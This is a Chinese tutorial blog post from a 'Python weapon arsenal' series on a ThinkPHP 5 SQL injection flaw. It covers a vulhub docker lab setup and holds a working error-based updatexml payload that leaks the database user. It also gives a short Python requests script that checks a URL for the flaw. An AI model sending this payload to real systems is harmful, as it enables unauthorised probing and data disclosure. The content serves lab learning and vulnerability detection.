当前位置: 首页 > news >正文

Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞(六十六)

Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞(六十六)

漏洞环境搭建

这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 in-sqlinjection 漏洞举例,如果我们想要安装 in-sqlinjection 漏洞环境,可以 cd 到 in-sqlinjection ,然后输入以下命令启动靶场环境:

docker-compose up -d

在这里插入图片描述

然后我们在浏览器输入 https://localhost:8083 就可以访问靶场环境

在这里插入图片描述

Thinkphp5 SQL注入漏洞原理

ThinkPHP 5 是一个开源的 PHP 框架,被广泛用于构建 Web 应用程序。然而,由于编码不规范或未经适当验证的用户输入数据,可能会导致 SQL 注入漏洞。

SQL 注入攻击是一种利用应用程序对用户输入数据的处理不当,导致恶意 SQL 代码被执行的攻击方式。攻击者通过在用户输入的数据中注入恶意的 SQL 代码,从而获得对数据库的访问权限或执行未授权的操作。

在 ThinkPHP 5 中,SQL 注入漏洞的主要原因是传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

Thinkphp5 SQL注入漏洞 POC

接下来我们给出Thinkphp5 SQL注入漏洞的POC,代码内容如下:

index.php?ids[]=1&ids[]=2
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

我们像URL路径下添加POC就可以看到泄露的账户和密码:

在这里插入图片描述

Thinkphp5 SQL注入漏洞 POC编写

现在我们用python编写检测Thinkphp5 SQL注入漏洞的代码,内容如下:

#!/usr/bin/env pythonimport requests
from urllib.parse import urljoindef thinkphp5_sqli(url):payload = urljoin(url,'/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1')response = requests.get(url=payload, verify=False)if 'XPATH syntax error' in response.text:print('漏洞存在')else:print('漏洞不存在')if __name__ == '__main__':url = 'http://localhost:8083/'thinkphp5_sqli(url)

POC代码详细分析

这段代码是用于检测ThinkPHP 5框架的SQL注入漏洞。首先,代码导入了必要的库,包括requestsurllib.parse模块。然后,定义了一个名为thinkphp5_sqli的函数,该函数接收一个url参数。

函数主要通过构造一个特定的payload来检测目标URL是否存在漏洞。在payload中,使用了urljoin函数来构造一个URL,其中包含了一个恶意的SQL注入语句。具体来说,这个注入语句使用了updatexml函数来执行一些恶意的操作,比如获取当前用户。

然后,代码使用requests库发送一个GET请求,并将构造的payload作为url参数传递给请求。verify参数设置为False,表示不进行SSL验证。

最后,代码检查响应中是否包含了'XPATH syntax error'这个字符串。如果存在该字符串,说明目标URL存在SQL注入漏洞,输出"漏洞存在"。否则,输出"漏洞不存在"。

if name == 'main':部分,代码定义了一个默认的url为'http://localhost:8083/',并调用thinkphp5_sqli函数来检测该URL是否存在漏洞。可以根据需要修改默认的url参数来检测其他URL。

运行效果图

如下是我们这串代码的实际运行效果图:

在这里插入图片描述

http://www.lryc.cn/news/386248.html

相关文章:

  • 2024.6.28刷题记录
  • 柔性数组(flexible array)
  • 服务器配置路由
  • 老生常谈问题之什么是缓存穿透、缓存击穿、缓存雪崩?举个例子你就彻底懂了!!
  • [code snippet] 生成随机大文件
  • 计算机网路面试HTTP篇三
  • 如何不改变 PostgreSQL 列类型#PG培训
  • RocketMQ快速入门:事务消息原理及实现(十)
  • Kotlin设计模式:深入理解桥接模式
  • 常用MQ消息中间件Kafka、ZeroMQ和RabbitMQ对比及RabbitMQ详解
  • 【UE5.3】笔记6-第一个简单小游戏
  • LeetCode---402周赛
  • 循环冗余校验
  • resample sensor
  • 【Linux】多线程的相关知识点
  • Java反射详解
  • Spring Boot与Apache Kafka集成的深度指南
  • 甄选版“论软件系统架构评估”,软考高级论文,系统架构设计师论文
  • uniapp开发企业微信内部应用
  • 0122__linux之eventfd理解
  • 数学建模 —— 查找数据
  • 合并有序链表
  • 【SpringBoot Web框架实战教程】05 Spring Boot 使用 JdbcTemplate 操作数据库
  • Spark基于DPU的Native引擎算子卸载方案
  • Mini2440 start.s 修改支持串口输出,方便调试 (四)
  • 【教程】几种不同的RBF神经网络
  • 【Liunx-后端开发软件安装】Liunx安装FDFS并整合nginx
  • 【Java笔记】Flyway数据库管理工具的基本原理
  • 国际数字影像产业园创业培训,全面提升创业能力!
  • pyqt5 制作视频剪辑软件,切割视频